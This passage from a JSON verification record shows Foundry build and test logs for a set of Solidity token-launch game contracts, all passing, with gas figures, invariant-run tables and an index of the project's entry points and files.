invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 86)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 87    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 86    | 86      | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 120   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 192   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 92    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 207   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 20421\n  Bound result 2995000000000010001\n  Bound result 376138608389625840\n  Bound result 6302\n  Bound result 12729\n  Bound result 415\n  Bound result 289\n  Bound result 160\n  Bound result 296\n  Bound result 1994836\n  Bound result 16\n  Bound result 91\n  Bound result 2995000001383437905\n  Bound result 17\n  Bound result 4\n  Bound result 1\n  Bound result 0\n  Bound result 1178955167727565423\n  Bound result 0\n  Bound result 14\n  Bound result 17\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.60s (2.55s CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 10289307)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 11124939)\n[PASS] test_claimNothingReverts() (gas: 8017976)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9655)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 16595454)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 19679082)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 26604937)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 9464231)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 10426739)\n[PASS] test_failedGenesisRelaunchLeavesCarryInPad() (gas: 11985982)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 133056490)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 4091664\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 36633261)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 23220185)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 20082667)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 9328730)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 10235915)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 7924807)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9199)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 9365206)\n[PASS] test_launchViewsRejectIdZero() (gas: 33188)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 9580459)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 16929284)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 16466552)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 15571303)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78100)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 7836249)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 7878374)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 28396357)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 16878460)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 17119714)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 10833214)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 9651231)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 15851659)\n[PASS] test_singleLivingImpTakesEverything() (gas: 12081708)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 9306781)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 15901314)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 2.74s (1.09s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 25322274, ~: 21450573)\nLogs:\n  Bound result 193\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116648048)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2668339\n  5000-entry draw total gas: 16251823\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 54974464)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 416944)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 627657)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8816525)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1191552)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 5167926)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 662009)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 705225)\n[PASS] test_lapsedCommitFallsBackOnceAndNeverRecommits() (gas: 51600037)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 526724)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 52207655)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 96953273)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1930675)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 2.83s (5.80s CPU time)\n\nRan 1 test for test/V3KingFeesInvariant.t.sol:V3KingFeesInvariantTest\n[PASS]\nV3KingFeesInvariantTest invariants:\n[PASS] invariant_eachReignKeepsItsETHAndTokensIncludingRejectedPayments\n[PASS] invariant_realV4FeesAndBidsConserveETH\n V3KingFeesInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭----------------------+------------+-------+---------+----------╮\n| Contract             | Selector   | Calls | Reverts | Discards |\n+================================================================+\n| KingFeeLedgerHandler | bid        | 1596  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | claim      | 1656  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | distribute | 1594  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | donate     | 1674  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | starveBid  | 1672  | 0       | 0        |\n╰----------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 1000000000000000\n  Bound result 100000000000000000000\n  Bound result 16\n  Bound result 0\n  Bound result 500000\n  Bound result 5400401\n  Bound result 5275559\n  Bound result 9658\n  Bound result 5400051\n  Bound result 20805662729570\n  Bound result 25600\n  Bound result 35799028528549\n  Bound result 17\n  Bound result 63\n  Bound result 5100000\n  Bound result 5400200\n  Bound result 94210890951955\n  Bound result 5410297\n  Bound result 5400081\n  Bound result 5409155\n  Bound result 14508\n  Bound result 7728800000000000\n  Bound result 5415605\n  Bound result 5403601\n  Bound result 99999999999951\n  Bound result 11545\n  Bound result 100003\n  Bound result 912081\n  Bound result 3613801\n  Bound result 9313\n  Bound result 20\n  Bound result 7477639625207\n  Bound result 15413010368038963187624\n  Bound result 16721\n  Bound result 16417\n  Bound result 11285\n  Bound result 5400591\n  Bound result 3545\n  Bound result 180000000000000\n  Bound result 154087980144090\n  Bound result 78535151721324870161091\n  Bound result 13\n  Bound result 13\n  Bound result 10215\n  Bound result 1507695\n  Bound result 600000\n  Bound result 3203\n  Bound result 5409951\n  Bound result 99999999999841\n  Bound result 55619632766004\n  Bound result 5400201\n  Bound result 31\n  Bound result 1600000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.63s (3.57s CPU time)\n\nRan 1 test for test/V3ResolverInvariant.t.sol:V3ResolverInvariantTest\n[PASS]\nV3ResolverInvariantTest invariants:\n[PASS] invariant_eachTipIsPendingExpiredOrOwedToItsActualResolver\n[PASS] invariant_paidETHAndTokensRemainFullyAccounted\n V3ResolverInvariantTest invariants (runs: 128, calls: 12288, reverts: 0)\n\n╭-----------------------+----------+-------+---------+----------╮\n| Contract              | Selector | Calls | Reverts | Discards |\n+===============================================================+\n| ResolverLedgerHandler | advance  | 3057  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | claim    | 3129  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | resolve  | 3087  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | roll     | 3015  | 0       | 0        |\n╰-----------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 16\n  Bound result 59\n  Bound result 13\n  Bound result 67\n  Bound result 30\n  Bound result 17\n  Bound result 60\n  Bound result 29\n  Bound result 21\n  Bound result 31\n  Bound result 32\n  Bound result 24\n  Bound result 3\n  Bound result 18\n  Bound result 20\n  Bound result 18\n  Bound result 5\n  Bound result 32\n  Bound result 28\n  Bound result 0\n  Bound result 74\n  Bound result 23\n  Bound result 89\n  Bound result 8\n  Bound result 13\n  Bound result 15\n  Bound result 50\n  Bound result 76\n  Bound result 15\n  Bound result 12\n  Bound result 19\n  Bound result 14\n  Bound result 30\n  Bound result 90\n  Bound result 81\n  Bound result 6\n  Bound result 10\n  Bound result 32\n  Bound result 73\n  Bound result 18\n  Bound result 38\n  Bound result 20\n  Bound result 26\n  Bound result 76\n  Bound result 23\n  Bound result 36\n  Bound result 4\n  Bound result 41\n  Bound result 43\n  Bound result 35\n  Bound result 30\n  Bound result 7\n  Bound result 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.73s (5.70s CPU time)\n\nRan 22 test suites in 5.73s (31.48s CPU time): 227 tests passed, 0 failed, 0 skipped (227 total tests)\n","passed":true},{"durationMs":115,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.bailOut(uint256)\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.prepareConversion()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256,address)\",\"PadLiquidity.convertChunk(address)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.executeConversion(uint256,uint160)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.observe(uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.retryPool(uint256)\",\"PadLiquidity.settleCrown()\",\"PadLiquidity.startConversion(uint256,uint64)\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.reclaim(address,uint256)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256,uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":267,\"docs/AUDIT-V2-HISTORY.md\":256,\"docs/AUDIT-V3-HISTORY.md\":311,\"docs/AUDIT.md\":454,\"docs/TEST-REPORT.md\":135,\"docs/VERIFY.md\":74,\"foundry.toml\":22,\"launch.json\":39,\"remappings.txt\":2,\"src/KingOfThePad.sol\":131,\"src/PadGame.sol\":821,\"src/PadHook.sol\":26,\"src/PadLiquidity.sol\":716,\"src/PadToken.sol\":94,\"src/PvPPad.sol\":315,\"src/interfaces/Interfaces.sol\":120,\"src/interfaces/PadErrors.sol\":87,\"src/libs/PadLib.sol\":120,\"test/Adversarial.t.sol\":800,\"test/AtomicDeployment.t.sol\":126,\"test/AuditV3.t.sol\":397,\"test/AuditV3CarryUpkeep.t.sol\":191,\"test/Base.t.sol\":229,\"test/CrownSettlement.t.sol\":252,\"test/Fuzz.t.sol\":293,\"test/Game.t.sol\":767,\"test/Invariants.t.sol\":580,\"test/King.t.sol\":314,\"test/LiquidityV4.t.sol\":248,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":408,\"test/RaffleEdges.t.sol\":273,\"test/RealV4.sol\":85,\"test/Revision.t.sol\":263,\"test/V3-CONTRIBUTOR-REPORT.md\":126,\"test/V3AccountingActors.sol\":18,\"test/V3CarryProperties.t.sol\":130,\"test/V3FailureEdges.t.sol\":354,\"test/V3KingFeesInvariant.t.sol\":250,\"test/V3ResolverInvariant.t.sol\":208,\"test/V4Pad.t.sol\":1050,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"8c3f0deafc31c8c05ac258abbb646dd26a232cdb6f8be1a658279fb05c7fe487","verifiedTreeHash":"8990ae4d426bd9a5df710eca534ea1641d939d3c","verifierVersion":"0.1.0+8fbf00a5"},{"checks":[{"durationMs":179370,"exitCode":0,"name":"build","output":"Compiling 98 files with Solc 0.8.26\nSolc 0.8.26 finished in 179.24s\nCompiler run successful!\n","passed":true},{"durationMs":6857,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/V3FailureEdges.t.sol:V3PoolFailureEdgesTest\n[PASS] test_onlyCrownMayRequestStrictSettlementAndIndexErrorsDoNotChangeHealth() (gas: 176110)\n[PASS] test_retryInsideRealManagerUnlockCannotDiagnoseHealthyPoolAsBroken() (gas: 796374)\n[PASS] test_successBetweenFailuresRequiresThreeNewDistinctBlocksToBreakPool() (gas: 3626387)\n[PASS] test_tokenTransferFailureRollsBackBothFeeCurrenciesAndCanBeRecovered() (gas: 1388605)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 44.31ms (3.66ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1047405)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 257755)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 6797505)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1097518)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 928671)\n[PASS] test_distributeWithoutKingLeavesFeesInPosition() (gas: 868603)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 9373695)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 585971)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 9510885)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 1036096)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1003885)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3914876)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 35129)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 168249)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 45.78ms (16.78ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 65793262)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 12221065\n  Later openPad including hook and genesis gas: 774342\n  Combined manifest and later opening gas: 12995407\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 56.70ms (56.50ms CPU time)\n\nRan 2 tests for test/V4Pad.t.sol:V4FallbackTest\n[PASS] test_nativeGenesisThenIMDGraduationLeavesNoStrandedQuoteDust() (gas: 20114008)\n[PASS] test_zeroIMDAfter24HoursGraduatesNativeAndPreservesV3Burn() (gas: 11118536)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 70.39ms (68.83ms CPU time)\n\nRan 7 tests for test/AuditV3.t.sol:AuditV3KingTest\n[PASS] test_failedPoolRequiresThreeDistinctL2BlocksThenAnyoneCanRecoverIt() (gas: 2705223)\n[PASS] test_failedSettlementRollsBackEarlierHealthyPoolPayments() (gas: 6827810)\n[PASS] test_firstCrownAlsoRejectsUnlockedManager() (gas: 407057)\n[PASS] test_gasStarvedBidRevertsWithoutChangingCrownOrPoolHealth() (gas: 1191090)\n[PASS] test_outgoingKingGetsLargeTokenFeesInKindAndNextKingGetsNoStash() (gas: 2471051)\n[PASS] test_sixteenPoolsBothCurrenciesAndGasEatingKingFitSettlementBudget() (gas: 10139368)\nLogs:\n  16 real pools both currencies, rejecting king, bid gas used: 4795428\n\n[PASS] test_unlockCallbackCannotTakeCrownOrDistribute() (gas: 1935663)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 220.72ms (172.73ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 2094322)\n[PASS] test_claimableWinner() (gas: 2892101)\n[PASS] test_conservationOfEth() (gas: 5967849)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 43172)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2431463)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2487934)\n[PASS] test_deathAndAllDeadEnd() (gas: 1962879)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1611267)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2559142)\n[PASS] test_failedPushBecomesClaimable() (gas: 1579561)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5481400)\n[PASS] test_finalizeRanksAndPays() (gas: 4828786)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1797211)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 120397266)\n[PASS] test_finalizerFeeCapped() (gas: 12780765)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1844221)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 374030)\n[PASS] test_fundPotOnlyPad() (gas: 43995)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 21361042)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3651831)\n[PASS] test_graduateOnlyFromGame() (gas: 73115)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 8134915)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1570395)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 4223153)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9595345)\n[PASS] test_resolveBatchIncludesTenRolls() (gas: 7502170)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2395796)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1978843)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1906910)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1811275)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1489133)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1420771)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 3190340)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1576229)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 2843574)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 298.30ms (224.98ms CPU time)\n\nRan 6 tests for test/AuditV3CarryUpkeep.t.sol:AuditV3CarryUpkeepTest\n[PASS] test_fiveWalletCarryChainOnlyPullsUnusedCapAtFinalize() (gas: 49691192)\n[PASS] test_fiveWalletNoRollChainNeverTakesCarry() (gas: 5331177)\n[PASS] test_ownGasEstimateEntryAndRollWithForeignDraw() (gas: 987076)\nLogs:\n  own entry gas limit: 185039\n  own roll gas limit: 187792\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignFinalize() (gas: 1021091)\nLogs:\n  own entry gas limit: 185039\n  own roll gas limit: 191464\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignGraduate() (gas: 1021457)\nLogs:\n  own entry gas limit: 185039\n  own roll gas limit: 191464\n\n[PASS] test_upkeepSubcallCanExhaustItsFullStipendWithoutRevertingEntry() (gas: 50657318)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 478.83ms (431.94ms CPU time)\n\nRan 1 test for test/V3CarryProperties.t.sol:V3CarryPropertiesTest\n[PASS] testFuzz_onlyUnusedReleaseAllowanceLeavesCarryAtFinalization(uint256,uint256,uint256) (runs: 128, μ: 10614949, ~: 9637298)\nLogs:\n  Bound result 5\n  Bound result 420\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 753.56ms (712.17ms CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 84805541, ~: 82411482)\nLogs:\n  Bound result 245\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2699237)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 12036554)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 71075527)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4854281)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 52860473)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 997.94ms (1.04s CPU time)\n\nRan 7 tests for test/CrownSettlement.t.sol:CrownSettlementTest\n[PASS] test_bidderCannotSteerCursorToDivertReignFees() (gas: 6337598)\n[PASS] test_brokenPoolSkippedByTwoCrownsPaysTheEarliestUnsettledReign() (gas: 2378546)\n[PASS] test_extraBidGasSettlesMorePoolsInOneBid() (gas: 19804305)\nLogs:\n  takeCrown gas, sixty real pools fully settled: 7804512\n\n[PASS] test_firstCrownOpensNoReignAndPaysPreCrownFeesToTheFirstKing() (gas: 712881)\n[PASS] test_nonKingCannotSettleOrCloseAReign() (gas: 467485)\n[PASS] test_poolsBeyondTheBidGasStayOwedToTheOutgoingKing() (gas: 23910069)\nLogs:\n  pools settled by a minimum-gas bid, sixty real pools: 40\n\n[PASS] test_settlementRevertsBelowSixteenPoolsAndSucceedsAbove() (gas: 6035415)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 1.42s (2.81s CPU time)\n\nRan 5 tests for test/V3FailureEdges.t.sol:V3GameFailureEdgesTest\n[PASS] testFuzz_everyResolutionWindowOffsetPreservesTheTip(uint256) (runs: 1000, μ: 1742382, ~: 1751462)\nLogs:\n  Bound result 348\n\n[PASS] test_drawBountyCallbackCannotCaptureAgainOrAdvanceExtraSeats() (gas: 2069004)\n[PASS] test_finalizeBatchFailureRollsBackTipsAndPartialResolutionUntilPermissionlessProgress() (gas: 43201169)\n[PASS] test_optionalDistributeAndBurnMayBothExhaustCapsWithoutRevertingEntryOrRoll() (gas: 3686697)\nLogs:\n  entry with both liquidity upkeep stipends exhausted: 1353993\n  roll with both liquidity upkeep stipends exhausted: 1453704\n\n[PASS] test_resolverDebtSurvivesFinalizationGraduationAndRejectedClaim() (gas: 2946886)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 2.38s (2.36s CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 35326)\n[PASS] test_crownPrecollectsAllEighteenPools() (gas: 19484236)\nLogs:\n  takeCrown gas, eighteen real pools: 2829928\n\n[PASS] test_failedDistributorBlocksCrown() (gas: 16069746)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 22208267)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 16760396)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 15735418)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 8787228)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 10589812)\n[PASS] test_realTradingTokenFeesPaidInKindWithoutSwap() (gas: 16457213)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.51s (1.19s CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107515)\n[PASS] test_bindingsAreOneShot() (gas: 87591)\n[PASS] test_carryPotStaysThroughNextDraw() (gas: 18124483)\n[PASS] test_closedPadRevertsEverything() (gas: 103611)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 719314)\n[PASS] test_deployGasUnderBudget() (gas: 19942)\n[PASS] test_deployHookOnlyByPad() (gas: 33147)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 19273920)\n[PASS] test_fundGamesOnlyKing() (gas: 39546)\n[PASS] test_hookRejectsForeignInitialize() (gas: 7965147)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 16354434)\n[PASS] test_launchValidatesStrings() (gas: 15655146)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 7835535)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 7869231)\n[PASS] test_openPadOnlyOnce() (gas: 7907664)\n[PASS] test_openPadRejectsBadSalt() (gas: 203501)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 7135289)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 8262191)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 38130507)\n[PASS] test_templatesCannotBeInitialized() (gas: 8006150)\n[PASS] test_upkeepForOnlyGames() (gas: 8058393)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 2.51s (530.92ms CPU time)\n\nRan 5 tests for test/AuditV3.t.sol:AuditV3GameTest\n[PASS] test_lapsedSeedIsIndependentOfCallerAndCaptureDelayAndBountyPaidOnce() (gas: 3002133)\n[PASS] test_nonGenesisSplitAndExpiredTipGoesToPotWithPenalty() (gas: 10377499)\n[PASS] test_resolveBatchClampsToSixteenAndLowGasStopsSafely() (gas: 20075094)\n[PASS] test_tenBlocksPerSecondSixtySecondRollerNeverExpiresWithResolver() (gas: 6245795)\n[PASS] test_upkeepSeedBountyGoesToCallerAndNotPad() (gas: 1953561)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 2.51s (17.74ms CPU time)\n\nRan 17 tests for test/V4Edges.t.sol:V4EdgesTest\n[PASS] testFuzz_bailPayoutFormulaAndCurveLedger(uint8,uint8,uint96) (runs: 256, μ: 4990643, ~: 4606044)\nLogs:\n  Bound result 4\n  Bound result 1612536205819373\n\n[PASS] test_bailOutRefusedAfterBellAndAfterHardEnd() (gas: 2374962)\n[PASS] test_bailOutRefusedAtHardEndEvenWithLiveActivity() (gas: 5208743)\n[PASS] 